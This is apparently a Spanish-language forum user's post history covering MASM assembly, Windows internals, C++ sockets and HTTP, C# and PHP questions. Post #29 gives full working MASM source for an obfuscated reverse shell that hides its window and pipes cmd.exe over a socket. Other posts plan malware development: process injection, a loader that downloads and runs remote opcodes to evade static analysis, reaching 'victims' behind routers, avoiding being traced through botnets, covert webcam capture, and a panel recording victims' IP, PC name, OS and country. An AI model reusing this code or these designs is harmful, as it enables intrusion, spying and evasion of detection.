002D1562  4A00         DW 4A                    ; ImagePath_Maxlen = 74.
002D1564  C61D2D00     DD 002D1DC6              ; ImagePath = "C:\Users\Central\Desktop\MRS\MRS.exe"
002D1568  5600         DW 56                    ; CommandLine_Size = 86.
002D156A  5800         DW 58                    ; CommandLine_Maxlen = 88.
002D156C  101E2D00     DD 002D1E10              ; CommandLine = ""C:\Users\Central\Desktop\MRS\MRS.exe" HOLA"
002D1570  10082D00     DD 002D0810              ; Environment = 002D0810
002D1574  00000000     DD 00000000              ; StartPosLeft = 0
002D1578  00000000     DD 00000000              ; StartPosTop = 0
002D157C  00000000     DD 00000000              ; Width = 0
002D1580  00000000     DD 00000000              ; Height = 0
002D1584  00000000     DD 00000000              ; CharWidth = 0
002D1588  00000000     DD 00000000              ; CharHeight = 0
002D158C  00000000     DD 00000000              ; ConsoleTextAttributes = 0
002D1590  81000000     DD 00000081              ; WindowFlags = 81
002D1594  0A000000     DD 0000000A              ; ShowFlags = 0A
002D1598  4800         DW 48                    ; Title_Size = 72.
002D159A  4A00         DW 4A                    ; Title_Maxlen = 74.
002D159C  681E2D00     DD 002D1E68              ; Title = "C:\Users\Central\Desktop\MRS\MRS.exe"
002D15A0  1E00         DW 1E                    ; DesktopName_Size = 30.
002D15A2  2000         DW 20                    ; DesktopName_Maxlen = 32.
002D15A4  B21E2D00     DD 002D1EB2              ; DesktopName = "WinSta0\Default"
002D15A8  0000         DW 0                     ; ShellInfo_Size = 0
002D15AA  0200         DW 2                     ; ShellInfo_Maxlen = 2
002D15AC  D21E2D00     DD 002D1ED2              ; ShellInfo = ""
002D15B0  0000         DW 0                     ; RuntimeData_Size = 0
002D15B2  0000         DW 0                     ; RuntimeData_Maxlen = 0
002D15B4  00000000     DD 00000000              ; RuntimeData = NULL


Como podrán ver, hay un argumento: "HOLA", la cadena es Unicode, así que no me sirve buscar '\0', aunque también esta CommandLine_Size y  CommandLine_Maxlen, yo preciso saber si se recibió al menos un argumento..

Gracias! Saludos!  ;D

PD: Ya que estamos, si alguien resuelve como sacar solo el argumento que tire el dato, aclaro por las dudas.. en el dump muestra
Citar"C0:0\0U0s0e0r0s0\0C0e0n0t0r0a0l0\0D0e0s0k0t0o0p0\0M0R0S0\0M0R0S0.0e0x0e0"0H0O0L0A"
, por eso pido consejo..
#23
Hi!

Alguien sabe como podría pasar dos parámetros por CreateRemoteThread? La inyección no es mediante dll, inyecto una función..

En MSDN dice:

Citar
HANDLE WINAPI CreateRemoteThread(
  _In_   HANDLE hProcess,
  _In_   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  _In_   SIZE_T dwStackSize,
  _In_   LPTHREAD_START_ROUTINE lpStartAddress,
  _In_   LPVOID lpParameter,
  _In_   DWORD dwCreationFlags,
  _Out_  LPDWORD lpThreadId
);


lpParameter [in]
A pointer to a variable to be passed to the thread function.

Y por ahi dicen que se podria pasar una estructura,, algo asi:

Código (cpp) [Seleccionar]
struct PARAMETER{
char* str1;
char* str2;
int num;
};


Yo debería pasar algo parecido en asm:

Código (asm) [Seleccionar]
invoke CreateRemoteThread, Process, 0, 0, lpProcAddress, lpParameter, 0, 0

Funcion a inyectar:

Código (asm) [Seleccionar]
INJECTED PROC lpParameter:DWORD
; Como separar esos dos datos?
ret
INJECTED endp
#24
ASM / Problema con el PEB
4 Julio 2014, 02:17 AM
Buenas!
Tengo el siguiente problema, estoy leyendo el peb, necesito que cada vuelta que da ese bucle, ebx se posicione sobre el nombre de la funcion exportada. Aclaro que la primer vuelta que da, ebx es correcto, apunta a ActivateActCtx cuando le sumo la direccion de kernel32 que tengo en eax

Código (asm) [Seleccionar]
; ********************************************
; Hasta aca, en eax tengo a kernel32.dll
; en ebx tengo la ExportTable
; ********************************************

mov edx, -1

bucle: ; Bucle para comprobar si es la función buscada

inc edx ; Para saber en que posicion está la funcion

mov ebx, [ebx + edx * 4] ; Direcion del nombre de la funcion buscada + Siguiente funcion

add ebx, eax ; RVA->VA | add eax, Kernel32Dir
mov esi, ebx ; Mover a esi la funcion actual

lea edi, [FuncionBuscada] ; Mover a edi la funcion buscada
mov ecx, 0Eh ; [FuncionBuscadaLen] Necesario cargarla en cada vuelta, porque se decrementa

repe cmpsb      ; Compara esi y edi, con una longitud de ecx

jnz bucle


Codigo ensamblable:

Código (asm) [Seleccionar]
.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
includelib kernel32.lib

.data
FuncionBuscada db "GetProcAddress",0
.code

inicio:

; *******************************
; Obtener Kernel32.dll
; *******************************
assume fs: nothing
mov eax, fs:[30h]
mov eax, [eax + 0Ch]
lea eax, [eax + 0Ch]
NextModule:
mov eax, [eax]
mov ebx, [eax + 30h]
cmp byte ptr[ebx + 6*2], '3'
jne NextModule
mov ebx, [eax + 18h]
mov eax, ebx ; EAX guarda el valor de kernel32.dll
; *******************************

; ********************************
; Obtener direccion de funcion
; ********************************

add ebx, [ebx + 3Ch]
add ebx, 78h
mov ebx, [ebx]
add ebx, eax

; push ebx ; Guardamos el valor [ET] / Antes: mov [ET], eax

add ebx, 20h
mov ebx, [ebx]
add ebx, eax

; pop ebx ; Recuperamos el valor de [ET]


; ***********************************************************************
; Hasta aca, en eax tengo a kernel32.dll, en ebx tengo la ExportTable
; ***********************************************************************

mov edx, -1

bucle: ; Bucle para comprobar si es la función buscada

inc edx ; Para saber en que posicion está la funcion

mov ebx, [ebx + edx * 4] ; Direcion del nombre de la funcion buscada + Siguiente funcion

add ebx, eax ; RVA->VA | add eax, Kernel32Dir
mov esi, ebx ; Mover a esi la funcion actual

lea edi, [FuncionBuscada] ; Mover a edi la funcion buscada
mov ecx, 0Eh ; [FuncionBuscadaLen] Necesario cargarla en cada vuelta, porque se decrementa

repe cmpsb      ; Compara esi y edi, con una longitud de ecx

jnz bucle

invoke ExitProcess, 0
end inicio


Entiendo que el error esta en la linea 59, cuando edx vale 0, la direccion esta bien, cuando edx vale 1, la direccion salta para no se donde..

Gracias!!!
#25
Hola! Se me ocurrió algo hoy,, pero quería leer algunas opiniones antes de pasar a la POC..

La idea es hacer un programa que descarga opcodes de un servidor y luego los ejecuta, (los mete en la pila), podría ser un binario o un simple archivo de texto.. quizás eso podría evadir el análisis estático... no? Los opcodes podrían ser cosas como cargar una librería y hacer otra cosa.. digamos que el malware seria solo el motor que ejecuta otras ordenes.. a grandes rasgos seria la única firma detectable (el mismo motor, todas las demás funciones serian dinámicas) no se si me explico bien..
que les parece? seria viable?

Saludos!
#26
Hola! Bueno, a lo mejor esto no va acá y es mejor en scripting..

Tengo entendido que para montar un servidor para juegos lo mejor es tener uno dedicado, con la posibilidad de instalarle programas, abrirle puertos y demás.. hacer lo que uno quiera.. pero este no es el caso.. quiero hacer unas pruebas sobre mi servidor, uno normal, con su cpanel, phpmyadmin, y todas sus limitaciones de configuración..  :silbar:

La idea es hacer un "pseudojuego" online, e ir probando el asunto del envió de datos.. ya intente con el protocolo html (en realidad probaba otras cosas, y de paso intente el juego) el asunto es que el protocolo html envía y recibe mucha información que en este caso no es necesaria.. sabemos que lo mejor es usar sockets UDP, pero como no tengo esa opción, se me ocurre hacer un programa, por ejemplo en PERL o C y meterlo en cgi-bin, el programa se encargaría de la información y de los jugadores..

Ustedes que creen?? Seria viable? Lo mas importante es que el envió y recepción de datos sea lo mas limpia posible, nada de cabeceras ni cosas raras.. tiene que ser por sobre todo RÁPIDO.

Leo opiniones!!  Saludos!
#27
ASM / Como escapar del sector de booteo??
22 Mayo 2014, 23:22 PM
Hi! Estoy intentando mostrar una imagen BMP desde el inicio del pc, desde 0.. Tengo el código de 512bytes, y creo que puedo cargar la imagen,, el problema es que la imagen sola pesa mas de 512.. ¿seria mejor usar "bootloader.bin" solo para salir del modo real y luego cargar la imagen en modo protegido?
De todas maneras.. cuando paso a modo protegido.. como sigo ejecutando código de otro archivo?

Digamos bootloader.bin inicia la pc, pone en modo prot. y como llamo a Kernel.bin?

No se si me logre explicar..

Saludos!
#28
ASM / Dudas sobre direccionamiento
19 Mayo 2014, 00:23 AM
Hola! Estoy retomando las lecturas de ASM.. y quiero entender bien el asunto del direccionamiento en modo protegido y modo real.. al principio no le di mucha bola,, y el libro me entrevero,, pero ahora me interesa saberlo a fondo..

Aparte,, creo que hay un error gigante en el libro, dice:

CitarEl modo protegido es el estado nativo del procesador, en el que estan disponibles todas las instrucciones y caracteristicas. Los programas reciben areas separadas de memoria llamadas segmentos, y el procesador evita que los programas hagan referencia a la memoria que se encuentra fuera de sus segmentos asignados.

Bien, con la segunda parte todo ok.. pero no es en modo real que están disponibles todas las instrucciones y características??

Bien, despues dice:

CitarEn el modo de direccionamiento real solo puede direccionarse 1MB de memoria, del 00000 al FFFFF hexadecimal. El procesador solo puede ejecutar un programa a la vez, pero puede interrumpir de forma momentánea ese programa para procesar las interrupciones de los periféricos. etc..etc..

CitarEn el modo protegido, el procesador puede ejecutar varios programas al mismo tiempo (nota mía: "al mismo tiempo"). A cada proceso le asigna un total de 4GB de memoria. A cada programa se le puede asignar su propia área reservada de memoria, y los programas no pueden acceder de manera accidental al código y los datos de los demás programas.

¿Por que? Quizás antes solo existían registros de 16bits?
Y la mas importante, cuando dice solo puede direccionarse 1MB de memoria, quiere decir que no importa cuanta RAM tengamos,, solo es accesible 1MB de ella? En cambio en modo protegido se puede acceder hasta 4GB.. por programa? Eso tampoco tienen mucho sentido (como yo lo interpreto) porque eso significaria tener unos pocos programas abiertos..

Gracias por la ayuda! Saludos!!
#29
ASM / Remote Shell (Masm32)
14 Mayo 2014, 21:37 PM
Hola.. aporto con un codigo en masm.. no hay mucho que aclarar..

Código (asm) [Seleccionar]
.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
includelib kernel32.lib
; ----------------------
include ws2_32.inc
includelib ws2_32.lib
; ----------------------

.data?
_Wsadata WSADATA <>
_Sockaddrin sockaddr_in <>
_Processinfo PROCESS_INFORMATION <>
_StartupinfoA STARTUPINFOA <>
.data
_Comandline db "djc)bb", 0 ; -> cmd.exe xor 7

.code
_Start:

; SOCKET
mov eax, 100007Fh ; -> 127.0.0.1
mov _Sockaddrin.sin_port, 0b822h ; -> 8888
mov _Sockaddrin.sin_addr, eax
mov _Sockaddrin.sin_family, AF_INET

invoke WSAStartup, 202h, addr _Wsadata
invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0

; SHELL
mov _StartupinfoA.hStdInput,  eax
mov _StartupinfoA.hStdOutput, eax
mov _StartupinfoA.hStdError,  eax
mov _StartupinfoA.wShowWindow, SW_HIDE
mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
mov _StartupinfoA.cb, sizeof _StartupinfoA

mov ebx, eax ; Guardo el Socket Handle

; CONNECT
_noconnect:
invoke connect, ebx, addr _Sockaddrin, sizeof _Sockaddrin
or eax, eax
jnz _noconnect

; DECRYPT
xor ecx, ecx
push offset _Comandline
pop eax
_nozero:
cmp byte ptr ds:[eax + ecx], 0
je _zero
xor byte ptr ds:[eax + ecx], 7
inc ecx
jmp _nozero
_zero:

invoke CreateProcessA, NULL, addr _Comandline, NULL, NULL, TRUE, 0, NULL, NULL, addr _StartupinfoA, addr _Processinfo
invoke ExitProcess, 0

end _Start


Suerte!! Saludos!
#30
Buenas!

Si estamos detrás de un router o firewall no seriamos visibles para "la victima" verdad? En el caso del firewall podemos solucionarlo abriendo los puertos correspondientes, pero no seguimos siendo inaccesibles desde fuera de la red por la naturaleza del router? Creo que se le llama "mascara de subred" (capaz que nada que ver..)

Se me ocurre usar una VPN, o algún otro método de tunneling, pero claro.. no le vamos a pedir a "la victima" que se instale algún programa para lograr eso... como se podría solucionar dicha situación??

Saludos!
#31
ASM / PE mas PEqueños..
7 Mayo 2014, 21:10 PM
Se puede configurar Masm32 para que queden mas pequeñas las secciones del PE? Tengo mas db 0 que instrucciones..  :¬¬

En C++ podríamos hacer algo asi:

Código (cpp) [Seleccionar]
#pragma comment(linker,"/merge:.rdata=.text")
Ademas de configurar el IDE para reducir el PE

En masm32 hay alguna opcion de eso? O alguna herramienta para modificar las secciones de un programa?

Gracias! Saludos!
#32
Hola, podría algún iluminado mostrarme el camino?

Código (csharp) [Seleccionar]
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

using Servidor;

namespace Delegados
{
    public delegate void NuevaConexion();
       
    public partial class frmPrincipal : Form
    {
       
        SockMaster ObjetoServidor = new SockMaster();

        public frmPrincipal()
        {
            InitializeComponent();
            listView1.Items.Add("Nuevo item agregado"); // Aca si funciona, pero no es donde lo preciso...
        }
       
        public static void Server_NuevaConexion()
        {
            listView1.Items.Add("Nuevo item agregado"); // Aca no funciona, y es donde lo preciso!!!
            frmPrincipal.listView1.Items.Add("Nuevo item agregado"); // No funciona, no es visible el control...
        }

    }
}

namespace Servidor
{
    using Delegados;

    class SockMaster
    {
        public SockMaster()
        {           
            // Genero el evento Nueva conexion               
            NuevaConexion NC = frmPrincipal.Server_NuevaConexion;
            NC();
        }
       
    }
}


El error es:
CitarSe requiere una referencia de objeto para el campo, método o propiedad no estáticos 'Delegados.frmPrincipal.listView1'

No se que hago mal, o como solucionarlo.. le di mil vueltas y nada, si no sale un error acá, sale un error allá..

Gracias! Saludos!
#33
ASM / Mostrar librerias cargadas en programa
24 Abril 2014, 02:35 AM
Hola! Estoy intentando mostrar todas las librerias que carga el ejecutable, pero no logro mostrar el nombre, muestra la direccion.. Que me esta faltando poner??

Código (asm) [Seleccionar]
.386
.model flat, stdcall
option casemap:none
assume fs: nothing

include windows.inc
include masm32rt.inc
includelib masm32rt.lib

ObtenerModulos PROTO

.code
start:

invoke ObtenerModulos
inkey "pause"

ObtenerModulos proc

push 30h
pop esi
lodsd fs:[esi]
mov eax, [eax + 0Ch]
lea eax, [eax + 0Ch]
NextModule:
assume eax: ptr LIST_ENTRY
mov eax, [eax].Flink
assume eax: nothing
mov ebx, [eax + 30h]

cmp ebx, 0
je Exit

push eax
print str$(ebx),13,10
pop eax

jmp NextModule

Exit:
ret

ObtenerModulos endp

end start


Saludos!!
#34
Hola! Bueno, esta pregunta hace rato la tengo dando vueltas en la cabeza..
Hace un par de años se utilizaban muchos mas troyanos que botnets, pero hace algunos años no se creía tan probable que a uno lo puedan localizar.. ¿No?
Según tengo entendido la botnet es mas discreta, porque las conexiones se realizan a un servidor y no a la pc de uno mismo..

¿Que tan probable creen que, hoy en día a uno lo puedan localizar? Y cuando planteo esto estoy pensando en las ISP, la policia, el estado, la NSA o lo que sea jaja

Saludos!

PD: Seguro que detras de una botnet tambien te pueden localizar,, pero me parece menos probable.. (a menos que dejes todos tus datos en el servidor..)  :¬¬
#35
Hola! Estoy con un programa que captura una imagen de la webcam, es aplicación de consola, sobre Win7, uso las funciones capCreateCaptureWindow, capDriverConnect, capDriverDisconnect y SendMessage, la imagen se captura, pero 2*3 me pide que seleccione la cámara de una lista (en la que solo existe una cámara, porque es la única que tengo), si bien ya he buscado por otros lados y di con gente que tiene el mismo problema quisiera saber por que a veces sale y a veces no.. y de ser posible que no salga nunca, porque quema mucho jaja

CODE:
Código (cpp) [Seleccionar]

int GetWebCam()
{
hWnd = GetConsoleWindow();

Captura = capCreateCaptureWindow("handle", WS_CHILD | WS_VISIBLE, 0, 0, 640, 480, hWnd, 1);

if (capDriverConnect(Captura, 0) != 0)
{
EmptyClipboard();
//SendMessage(Captura, WM_CAP_DLG_VIDEOSOURCE, 0, 0);

ShowWindow(Captura, SW_HIDE);

SendMessage(Captura, WM_CAP_SET_PREVIEW, true, 0);
SendMessage(Captura, WM_CAP_GRAB_FRAME, 0, 0);
SendMessage(Captura, WM_CAP_EDIT_COPY, 0, 0);

OpenClipboard(NULL);
HBM = HBITMAP(GetClipboardData(CF_BITMAP));
SaveToFile(HBM, "Imagen.jpg");

capDriverDisconnect(Captura);
return 0;
}


cout << "Error capCreateCaptureWin: " << GetLastError() << endl;
return -1;
}


Saludos!

PD: SendMessage(Captura, WM_CAP_DLG_VIDEOSOURCE, 0, 0) Esta comentado porque si dejo esa linea sale siempre el cuadro...

PD2: Creo que GetLastError no tiene uso en este codigo, pero la deje para no editar el codigo que salga todo torcido.
#36
Buenas! Hace un buen tiempo que tengo este proyecto que quiero utilizar el protocolo HTTP para realizar peticiones al servidor, lo habia empezado con Sockets, luego por cansancio utilize wininet, ahora lo quiero/ tengo que poder hacer con sockets, el asunto es que estoy seguro que la peticion esta perfecta, el servidor responde 200 OK, pero el dato no llega.. dejo las cabeceras tal cual como las envio y como las envia el navegador (al navegador si le funciona >:( )

Asi la envio yo:

Citar
POST /php/core2.php HTTP/1.1
Host: www.elhost.com

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.elhost.com/php/coso.html
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------78302333330941
Content-Length: 2
-----------------------------78302333330941
Content-Disposition: form-data; name="VAR"

TS
-----------------------------78302333330941--
Al final de cada linea hay un "\r\n" como es debido, eso lo puedo ver con Notepad ++

Asi la envia el navegador
Citar
POST /php/core2.php HTTP/1.1
Host: www.elhost.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.elhost.com/php/coso.html
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------78302333330941
Content-Length: 253
-----------------------------78302333330941
Content-Disposition: form-data; name="VAR"

TS
-----------------------------78302333330941--
Bueno, las diferencias como el Content-Length es porque el navegador también envía el botón submit (ya probé agregar eso a mi código, igualar los tamaños, aumentarlos, disminuirlos.. etc) Y el "\r\n" que hay después del "Host" es porque a mi no me funciona sin ese CRLF (también probé sacarlo, pero me dice BAD REQUEST)

Bueno, a lo que voy, estoy seguro que la cadena no esta mal, puede ser que tenga que crear el socket de alguna forma "especial" para este tipo de situaciones?

Yo lo creo asi:

Código (cpp) [Seleccionar]

SOCKET StartUpSocket()
{
int rtn;

if ((rtn = WSAStartup(MAKEWORD(2, 2), &WSA)) != 0) return 1;
if ((Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return 1;

HOSTENT *host = gethostbyname("www.elhost.com");

if (!host) return -1;

char *hostip = inet_ntoa(*(struct in_addr*)(host->h_addr_list[0]));

Server.sin_family = AF_INET;
Server.sin_port = htons(PUERTO);
Server.sin_addr.s_addr = inet_addr(hostip);

if ((rtn = connect(Socket, (struct sockaddr*) &Server, sizeof(Server))) == SOCKET_ERROR) return 1;

return Socket;
}


Y lo utilizo asi:

Código (cpp) [Seleccionar]
send(Socket, BUFFER, strlen(BUFFER), 0);

Donde BUFFER contiene toda la petición..

Esto me tiene bastante cansado, y me calienta no solucionarlo...
Saludos, gracias!
#37
Hola amigos, tengo esta petición que la realizo desde C++ a mi server:

CitarPOST /php/core.php HTTP /1.1\r\n
Host: www.MiHost.com \r\n\r\n
Content-Type: multipart/form-data; boundary=---------------------------7d82751e2bc0858\r\n
-----------------------------7d82751e2bc0858\r\n
Content-Disposition: form-data; name="A";\r\n
Content-Type: text/plain\r\n\r\n
ELDATO
-----------------------------7d82751e2bc0858--\r\n

Lo raro es que la respuesta del servidor es 200, pero no llega "ElDATO",, si en vez de utilizar multipart/form-data utilizo application/x-www-form-urlencoded y la información viaja tipo par "Clave-Valor" si funciona.. o sea:

Citar
POST /php/core.php HTTP /1.0\r\n
Host: www.MiHost.com \r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 2\r\n\r\n
A=TS

PD: Ya probé incluyendo todos los campos en la petición, y lo mismo, la respuesta es 200 pero no llega la información, que puede estar pasando??? Sera el php que la recibe? No creo...

Código (php) [Seleccionar]

$Request = $_POST['A'];
echo "El dato es: ".$Request."\0";


Bue, eso nomas.. Saludos!
#38
Hola.. Alguien ha tenido que configurar VMWare o VirtualBox para probar un bootloader? No doy con la configuración,, ya probé iniciar las maquinas con el binario y con la imagen del mismo pero no va.. si inicio una pc con el bootloader en diskette arranca..

Saludos! Y Gracias!
#39
Hola!

Alguien sabe en que circunstancias se da que el ejecutable aumente su tamaño indefinidamente? Esta claro que aumentando una variable (en tamaño), un buffer o algo por el estilo, pero quizás en otras situaciones también..

Es que tengo esta función:

Código (cpp) [Seleccionar]
HINTERNET SendRequest(HINTERNET Session, char *data1, char *data2)
{
char B1[1024] = "\0", B2[1024] = "\0";
        // Data1 Format
sprintf_s(B1, sizeof(B1), HTTPTEXT, "form-data", "A", "text/plain");
memcpy(B1 + strlen(B1), data1, strlen(data1));
// Data2 Format
sprintf_s(B2, sizeof(B2), HTTPTEXT, "form-data", "B", "text/plain");
memcpy(B2 + strlen(B2), data2, strlen(data2));

char BUFFER[2048] = "\0";

memcpy(BUFFER, B1, strlen(B1));
memcpy(BUFFER + strlen(BUFFER), "\r\n", 2);
memcpy(BUFFER + strlen(BUFFER), B2, strlen(B2));

memcpy(BUFFER + strlen(BUFFER), HTTPENDS, strlen(HTTPENDS));

HINTERNET HIntRequest = HttpOpenRequest(Session, "POST", "php/core.php", 0, 0, 0, INTERNET_FLAG_RELOAD, 0);

if (HttpSendRequest(HIntRequest, HTTPHEAD, strlen(HTTPHEAD), BUFFER, strlen(BUFFER)))
return HIntRequest;
else
return false;
}


Yo a esta función la llamo cada 4 segundos, y cada vez que se invoca,, el ejecutable aumenta unos 4k en memoria.. debería preocuparme?
Y de paso, si alguien me ilumina como optimizarla mejor aun!!

Saludos!!
#40
Hola chicos, quizás este no sea el lugar para la duda, pero como programo en c++ en el visual studio lo pongo acá, cualquier cosa movemos el tema y listoo..

El asunto es que tengo una pc con visual studio 2013 y Windows 7,, y no logro generar el ejecutable compatible con Windows XP,, Windows XP me dice "no es una aplicacion win32 valida",, la pc con windows 7 tiene sistema operativo de 32 bits.. O sea,, calculo yo que el ejecutable si es de 32 bits,, (aunque winXP diga que no)

Que puede ser??

Gracias!! Saludos!
#41
Buenas! Ando en búsqueda de una guia/manual/texto que tenga todos los namespaces y assemblys para visual basic ( desconozco si son los mismos que C#, deben ser... )
Bueno, si alguien sabe donde descargar le agradezco..

Saludos!
#42
ASM / Incluir estructuras ahorra librerías?
24 Febrero 2014, 04:49 AM
Buenas amigos.. tengo la siguiente duda.. tengo este código:

Código (asm) [Seleccionar]

bla,, bla,, bla...
WSA WSADATA <>
SockI sockaddr_in <>
ProcI PROCESS_INFORMATION <>
StrtI STARTUPINFOA <>
bla,, bla,, bla...


Si declaro las estructuras correspondientes en el código, me ahorra incluir a windows.h? Funcionaria igual?
Y lo que es mas importante:
Ahorro tamaño?
Podría generar un ejecutable menos detectado?

Saludos!
#43
Desarrollo Web / Como ver un request HTTP?
5 Febrero 2014, 23:32 PM
Hola amigos,, quizas este no sea el lugar indicado,, pero ya no se como..

Alguien me puede decir como puedo armar un request? O como lo puedo ver? la idea es enviar un request a un servidor, el request tiene que enviar una imagen..
#44
Hola amigos,, puse esta consulta acá, y aunque parece simple creo que no lo es,, tanto..

La cosa es así,, tengo que enviar un archivo mediante POST a un servidor, desde un socket (winsock) conectado previamente.. así que supongo que lo que tengo que enviar es un array,, al estilo formulario HTML!

Para los que también entiendan de PHP la cosa es así:

Código (php) [Seleccionar]
$tmp_name = $_FILES["pictures"]["tmp_name"];
move_uploaded_file($tmp_name, $SaveAs);


$_FILES es un array que recibe la información para saber como guardarla en el servidor,, el asunto es que yo con C++ no puedo enviar un array,, o si?

Aparte, no estoy seguro si se tiene que enviar el array con la información y nada mas o lleva algún encabezado HTTP..

Saludos!!

PD: Puse este tema acá en C++, porque creo que lo mas complicado va a ser armar todo desde el cliente,, si no tengo resultados acá, movemos el tema a WEB y vemos que pasa...
#45
PHP / Problema con simple funcion PHP
1 Febrero 2014, 23:21 PM
Hola amigos,, estoy teniendo un problema que al parecer no tiene mucho sentido,, pego el código:

Código (php) [Seleccionar]

    while($row = mysqli_fetch_assoc($Result))
    {

$output_string = $row['ip'].",".$row['NombrePC'].",".$row['SO'].",".$row['Pais']."|";

    }   



el problema es que quiero concatenar $output_string con $output_string,, lo mas lógico seria poner un . delante de =

Así:

Código (php) [Seleccionar]

$output_string .= $row['ip'].",".$row['NombrePC'].",".$row['SO'].",".$row['Pais']."|";


Lo raro es que en otra maquina, con otra versión de PHP si funciona!! La base de datos esta correcta, y todo lo demás esta bien.. (repito, en otra versión de PHP funciona)

Alguien tiene otra forma de concatenar la informacion de la base de datos en un string??? tiene que tener este formato: dato1, dato2, dato3, dato4|dato1, dato2, dato3, dato4|

Saludos!!